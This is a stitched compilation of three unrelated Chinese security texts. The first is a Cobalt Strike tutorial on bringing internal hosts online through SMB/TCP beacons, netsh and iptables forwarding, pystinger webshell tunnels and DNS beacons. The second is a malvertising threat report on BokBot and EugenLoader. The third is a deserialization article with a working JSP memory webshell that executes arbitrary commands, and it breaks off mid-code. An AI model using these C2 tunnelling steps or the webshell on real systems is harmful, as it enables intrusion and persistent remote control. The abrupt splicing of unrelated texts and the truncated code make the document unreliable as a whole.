这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link <ip>)去连接它。

上线方法二:中转listener(Reverse TCP Beacon)

其实和方法一是类似的

image-20220422000759017.png

以下内容会自动配置

image-20220422000840172.png

然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener

image-20220422001158730.png

image-20220422001452245.png

image-20220422000337348.png

上线方法三:HTTP 代理

中转机器不需要上线即可

使用goproxy项目做代理,项目地址:

https://github.com/snail007/goproxy

过程:

1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理

C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口

netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080

image-20220516145111513.png

3.创建listener,配置如下

image-20220516163325095.png

4.生成stageless payload,在业务服务器上执行,成功上线

image-20220516163441748.png

连接过程

192.168.111.236192.168.111.131:822192.168.1.88:8080→ C2(192.168.1.89)

上线方法四、TCP Beacon(正向)

  • 正向连接
  • 和SMB Beacon比较类似。也需要一个父beacon
  • SMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击(比如: Attacks → Packages 、 Attacks → Web Drive-by )。

测试:

生成一个tcp beacon

image-20220424145301486.png

使用该beacon生成一个stageless形式的木马:

image-20220424145438941.png

上传到目标机器运行:

image-20220424150129703.png

在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

image-20220424150307350.png

要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。

image-20220424150527311.png

上线方法五、使用pystinger进行代理转发

pystinger的详细使用 见下面章节。 这里仅简单演示一下:

一般不会将pystinger用在这种场景下

测试环境:

攻击机kali:192.168.1.35

web服务器:192.168.1.70、192.168.111.129

业务服务器:192.168.111.236

过程:

1.上传proxy.php到WEB服务器网站目录,正常访问返回UTF-8

web服务器外网ip为192.168.1.70

image-20220517181300013.png

上传stinger_server.exe,执行

start stinger_server.exe 0.0.0.0

攻击机(192.168.1.89)上执行

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

此时已经将web服务器的60020端口转发到vps的60020端口上了

CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020:

image-20220517181223593.png

使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线:

image-20220517182051748.png

image-20220517181145075.png

补充:中转机器为Linux

HTTP代理(中转机器不需要上线即可)

使用方法与上面方法三一样。只不过要使用iptables转发:

echo 1 >/proc/sys/net/ipv4/ip_forward
iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080

iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131

测试:

中转机器(192.168.111.142)

image-20220423214555465.png

攻击机

image-20220423222203087.png

生成stageless payload,在目标机器上执行,成功上线

image-20220423222359445.png

image-20220423222645751.png

连接过程:(重新截的图,端口改了一下8080->8081)

image-20220423222847432.png

192.168.111.140 → 192.168.111.142:8080→ 192.168.111.142:8081→ 192.168.111.131:81(C2)

使用pystinger进行代理转发

和上面上线方法五一样,建立pystinger连接之后,直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线。。

CrossC2

通过其他机器的Beacon可以直接上线Linux机器

image-20220424110511841.png

CrossC2使用

用来上线Linux或MacOS机器

项目地址: 【一定要下载对应版本的

https://github.com/gloxec/CrossC2

配置:

(我这里在Windows上运行的teamserver)

image-20220517214639195.png

创建个https监听:

image-20220517215034645.png

生成个payload

(用其他方式也可以)

image-20220517215228811.png

image-20220424104455547.png

image-20220424104411307.png

如果生成不了,也可以直接命令行生成

image-20220517221232018.png

生成之后,上传到Linux机器,运行,即可上线:

image-20220517221438333.png

image-20220517221454859.png

安装CrossC2Kit插件,丰富beacon的功能

image-20220517222854932.png

image-20220517222935500.png

内网机器上线CS:

中转的Linux机器上线之后,即可用上面的方法来上线内网机器。

TCP Beacon:

image-20220517224718810.png

image-20220517224749945.png

上传到目标机器运行。

然后在Linux beacon下连接:

image-20220517225035484.png

上线之后是个黑框,checkin一下就可以了

还是建议使用上面两种方法。

0x02 边缘机器只有DNS协议出网

DNS上线CS

一、准备工作

1)域名 ,godaddy :yokan.xxx
2)vps,防火墙开放UDP端口53 : 82.xxx.xxx.19

image-20220518120029278.png

3)cobalt strike 4.1

二、域名设置

1)设置解析

配置A记录设置成vps的ip,cs也配置在vps上

image-20220518121450765.png
配置几个ns记录 指向刚刚A记录对应的域名

image-20220518122329148.png

配置完成之后ping test.yokan.xxx可以ping通
image-20220518122521793.png

vps上查看53端口占用情况,停掉vps的53端口服务
image-20220518122733717.png

systemctl stop systemd-resolved

image-20220518122856917.png

image-20220518122842743.png

2)cs设置监听

image-20220518123540718.png![image-

都是ns记录的域名,DNS Host(Stager)随便选择其中一个就可以。

image-20220518123718604.png

3)nslookup查看 ,成功解析:

image-20220518123921308.png

注意:响应的地址74.125.196.113,这个是跟profile里设置的

image-20220518124037907.png

三、cs上线

生成cs的stageless上线马,执行上线

stageless 马 dns有x64版本 , stager没有

image-20220518125111240.png

image-20220518124359454.png

上线之后是黑框,需要使用checkin命令让dns beacon强制回连teamserver

image-20220518124416459.png

PS:需要多等一会

image-20220518125128422.png

这样就可以正常交互了:

image-20220518124700940.png

0x03 边缘机器不出网

方法一、TCP Beacon 正向连接

<font color='red'>应用场景:边缘机器各种协议均不出网,但是可以正向访问到。</font >

使用:

先让自己的攻击机上线

image-20220424163629329.png

然后,如"上线方法四"一样,使用TCP Beacon生成一个stageless形式的木马,上传到目标机器,并运行。

image-20220424163851956.png

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线:

image-20220424164004378.png

方法二、使用pystinger(毒刺)工具

<font color='red'>应用场景:边缘机器各种协议均不出网,但是存在web服务,已经拿到webshell。</font >

项目地址:

https://github.com/FunnyWolf/pystinger

简单原理:

Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs

image-20220517174612140.png

使用

地址:

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了:

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
    start D:/XXX/stinger_server.exe 192.168.3.11
    

    启动服务端

192.168.3.11可以改成0.0.0.0

  • stinger_client命令行执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
  • 如下输出表示成功
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头
--header "Authorization: XXXXXX,Cookie: XXXXX"
  • 如果webshell需要通过代理访问,可通过--proxy设置代理
--proxy "socks5:127.0.0.1:1081"

测试

攻击机:192.168.1.89

假设我们在拿下一台目标主机,但是无法连接外网。

image-20220517144317558.png

使用 pystinger 工具进行 CS 上线,下载地址,通过 webshell 实现内网 SOCK4 代理,端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

image-20220517144354177.png

stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

image-20220517144723957.png

image-20220517144741452.png

stinger_client 上传到 teamserver 服务器,-w 指定 proxy 的 url 地址运行。

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

image-20220517144922515.png

CS 新建监听器,设置为目标机器的内网 IP,端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

image-20220517145024937.png

生成木马,上传目标服务器并执行。可看到 CS 有新上线主机。

image-20220517145046489.png


转自于原文链接:https://forum.butian.net/share/1644

許多入侵和攻擊都是從終端被惡意軟件感染開始的。惡意軟件的傳播通常以誘騙某人打開一個可執行文件為手段,這些誘騙文件是良性的,例如一個常見的軟件實用程序,但實際上是惡意的。傳播惡意軟件最常見的方法之一是通過垃圾郵件,但還有其他方法,比如,一種長期使用的將惡意軟件植入系統的技術在去年年末重新出現。

“Malvertising”是惡意軟件和廣告的合成詞,其技術包括購買搜索引擎廣告,並在這些廣告中放置指向惡意網站的鏈接。自從與搜索相關的點擊付費(PPC)廣告出現以來,這種技術就一直被攻擊者使用,但最近不知出於什麼原因,這種技術被使用的頻率和數量出乎意料。接下來,我們將介紹惡意廣告是如何運作的,針對它的一些防禦措施,以及最近如何利用它來分發惡意軟件的例子。

PPC的工作原理谷歌的PPC廣告平台是攻擊者用來傳播惡意軟件的主要媒介。 Intel 471 曾詳細介紹過建立Google Ads活動的內容。這些文章介紹了很多關於這些攻擊者如何開展活動的信息,以及他們如何為自己的廣告獲得頂級搜索結果的一些理論。

谷歌的PPC廣告管理面板具有一個相當直觀的設計,允許用戶一目了然地查看他們的廣告活動統計數據。用戶可以查看他們當前的廣告、關鍵字、推薦、統計數據和每次優惠的總成本。用戶必須提供一個URL來創建廣告,顯示URL的路徑,提供優惠的描述,並為廣告製作一些標題。描述、標題和網站都被被納入谷歌用來計算廣告排名的公式中。

一旦創建了廣告,用戶可以設置廣告在PPC上花費的最大金額。廣告位的銷售採用了一種盲拍賣機制,廣告客戶可以出價高於競爭對手,但無法看到其他人對廣告位的出價。谷歌以前的廣告排名算法考慮的是廣告商為廣告植入排名的出價,然而,新系統綜合考慮了廣告出價、描述、標題和網站檢查。

一旦用戶創建了廣告並設定了投標價格,他們就可以開始使用Google Ads平台上的多種工具。通過設備定位,廣告商可以為只在平板電腦或手機等特定類型的設備上播放的廣告定價。

客戶可以在Google Ads面板的“受眾”選項卡中使用額外的目標定位。用戶可以監控點擊廣告的人的人口統計數據,創建有針對性的廣告,或排除某些人口統計數據,並針對特定類型的人,如在金融服務或酒店業工作的人。該平台還允許廣告商根據地理位置和受眾跟踪,或包括城市、州和郵政編碼在內的各種因素來定位客戶。

1.webp.jpg

2023年1月26日谷歌PPC廣告平台的廣告客戶目標選項的截圖

BokBotBokBot,也被稱為IcedID,是一種銀行木馬,也可以下載其他惡意軟件。 BokBot的開發人員與Conti勒索軟件組織和Trickbot(另一種用於傳播勒索軟件的銀行惡意軟件和殭屍網絡)一直有關聯。在過去的一年中,最初的訪問代理(IAB)越來越多地使用BokBot作為網關惡意軟件進行攻擊,以取代現已失效的BazarLoader或Trickbot家族。 2022年12月和2023年1月,BokBot運營商開始嘗試使用谷歌PPC廣告平台進行分發。

這些BokBot活動的流量分配系統(TDS)在谷歌搜索廣告引擎指向的登錄頁面上使用受害者和木馬過濾。此過濾確保連接客戶端不是來自虛擬專用網絡(VPN)IP地址,使用戶代理檢查並遵循超文本傳輸協議(HTTP)'GET'標頭條件。如果連接不符合條件,用戶不會被重定向到BokBot惡意登陸頁面,而是停留在廣告網站上,而廣告網站可能與目標應用程序或品牌無關。該網站通常與活動無關。符合目標標準的連接將被重定向到BokBot惡意登陸頁面,並且永遠不會看到廣告站點。

最近的BokBot活動偽裝成操作系統虛擬化平台Docker的廣告。惡意廣告包含拼寫錯誤的域名,並且似乎高於Docker的合法報價。一旦用戶點擊廣告鏈接,BokBot的第一個URL劫持域就會執行一些基本的木馬過濾,以確定廣告的觀看者是否是目標的合法受害者,而不是研究人員。如果基於用戶代理、用戶代理客戶端提示或地理位置的檢查失敗,Docker活動的登錄頁面將引導查看者進入一個關於如何設置和使用Docker的虛假教程。

2.webp.jpg

2023年1月26日,出現在合法Docker搜索結果和廣告之前的惡意Docker廣告截圖

BatLoader和EugenLoader/FakeBat惡意軟件加載器,也稱為“下載器(滴管)”,是系統上的初始感染,然後被攻擊者用來下載其他惡意代碼。 BatLoader於2022年2月被發現,是一種利用微軟軟件安裝程序(.msi)和PowerShell的加載器。

Intel 471最近發現,兩個不同的攻擊者正在通過不同的命令和控制(C2)基礎設施分發BatLoader。 Mandiant在2022年確定為BatLoader的活動涉及.MSI在安裝期間執行.BAT文件。然而,第二個活動不涉及.BAT文件的執行。相反,該惡意軟件有一個內嵌的PowerShell腳本,它會代替.BAT文件執行。由於這些差異,Intel 471分析師決定將第二次活動更名為EugenLoader,它也被稱為FakeBat。

由於之前的報告混合了EugenLoader和BatLoader,因此很難確定EugenLoaders何時首次出現。但它可能會在2022年11月或12月運行。在對EugenLoader的調查中,我們發現一個域名似乎被用作新活動的下載目的地。域的根目錄被錯誤地打開並顯示了EugenLoader活動的.MSI文件。如下圖所示,EugenLoader惡意軟件已被重命名為模擬已知軟件,如FileZilla、uTorrent和WinRAR等。

3.webp.jpg

可疑EugenLoader活動的域的根目錄處於打開狀態

在分發活動中,EugenLoader建立了一些域名,聲稱提供合法的流行軟件,但其實這是惡意軟件。

EugenLoader最活躍的惡意廣告活動之一是偽裝成WinRAR,這是一種用於壓縮和提取文件的流行軟件實用程序。雖然其他廣告活動似乎間歇性地將其廣告放在搜索結果的頂部,但WinRAR廣告活動沒有這樣的限制,這使得攻擊者能夠欺騙受害者不斷安裝EugenLoader。

EugenLoader還通過欺騙7-Zip(另一種流行的文件歸檔軟件)的惡意廣告活動進行分發。使用精心製作的谷歌搜索廣告,該活動能夠將其下載鏈接放置在7-Zip官方下載頁面之前,如下圖所示。

4.webp.jpg

有兩個PPC廣告提供7-Zip,但域名與官方項目無關

直到最近,惡意廣告還不是攻擊者首選的攻擊手段,與電子郵件垃圾郵件等傳統手段相比,它很少被使用。然而,EugenLoader背後的運營商能夠購買始終出現在谷歌第一搜索結果位置的廣告。惡意廣告技術有可能挑戰惡意軟件垃圾郵件(malspam)作為攻擊者首選載體的位置。

惡意軟件開發者投放惡意廣告有利有弊。首先,攻擊者可以通過廣告吸引尋找下載工具的用戶,出現在第一個搜索結果中意味著很有可能有人在沒有仔細查看域名的情況下點擊。隨後的登錄頁面看起來與合法登錄頁面完全相同,人們很可能會下載並安裝該工具。

這與垃圾郵件相比具有優勢,垃圾郵件可能會被安全工具捕獲並隔離,或者被發送到垃圾郵件文件夾,永遠不會被潛在受害者註意到。如果目標確實下載了它,攻擊者必須誘騙其打開,例如打開發票、點擊鏈接或運行可執行文件。但惡意廣告抓住了那些想下載並立即運行的人。

然而,惡意廣告的成本並不便宜。每次點擊點擊付費廣告的成本可能高達2至3美元。由於攻擊者不斷競標廣告位,這些行動也提高了合法廣告商的成本。有可能是惡意商家用偷來的信用卡信息來支付廣告費用。另外,攻擊者是如何為這些廣告買單的,這將是另一個值得研究的課題,它可能會挖掘出這些活動背後的團體。

在某些情況下,活動的成功與否可以衡量。一些惡意廣告將受害者引導到Bitbucket上的網站,這可能會顯示下載數量。其中一項活動的下載量超過3000次。按每次點擊2美元計算,投放廣告的人可能已經支付了多達6000美元,這表明攻擊者有經濟實力。在這些活動中發現的其他類型的惡意軟件包括RedLine等信息竊取軟件。惡意軟件經常阻礙VirusTotal提交。文件大小高達700 MB,這與滴管或加載器的典型大小相比非常大。 VirusTotal的文件大小限制為32 MB(最多可提交200 MB的文件),這意味著由分發的惡意文件不一定會有分析示例。

總結惡意廣告激增,對谷歌影響最大,在2023年1月中旬達到頂峰,此後有所下降。安全社區已經就其調查結果與穀歌取得聯繫。幾位研究人員製作了一份電子表格,用於跟踪惡意廣告活動和被假冒的品牌。在2023年1月19日至2023年2月22日期間,該電子表格包含了584起惡意廣告活動的示例。此外,研究人員還開發了一些工具,比如Randy McEoin開發的這個工具,它可以搜索惡意廣告,Michael McDonnell開發的這個工具也可以對活動截圖留證。

0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術)

在上一篇文章中↓↓↓

記一次反序列化漏洞的利用之路

遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。

0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。

1679537651111929.png

圖2.1 通過HttpServletResponse對象輸出命令執行結果

從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和

內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。

表2.1 ysoserial利用鏈中對複雜語句的支持

1679537698187977.jpeg

我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。

要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。

1679537754866091.png

圖2.2 SpringBoot環境下獲取request和response對象

1679537779179682.png

圖2.3 SpringMVC環境下獲取request和response對象

不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。

有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。

Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。

遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。

其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。

1679537821729281.png

圖2.4 通過遞歸方式來查找request和response對象

使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。

1679537849174356.png

圖2.5 生成payload

1679537888768042.png

圖2.6 使用生成的payload進行反序列化測試

0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。

基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。

%@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' %

% //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {

} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {

} };

%% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext();

//用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());

//添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper);

//添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');%

訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。

1679538018616480.png

圖3.1 通過jsp文件來實現內存馬

上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。

內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。

package ysoserial.template;

import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;

public class DFSMemShell {

private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext');

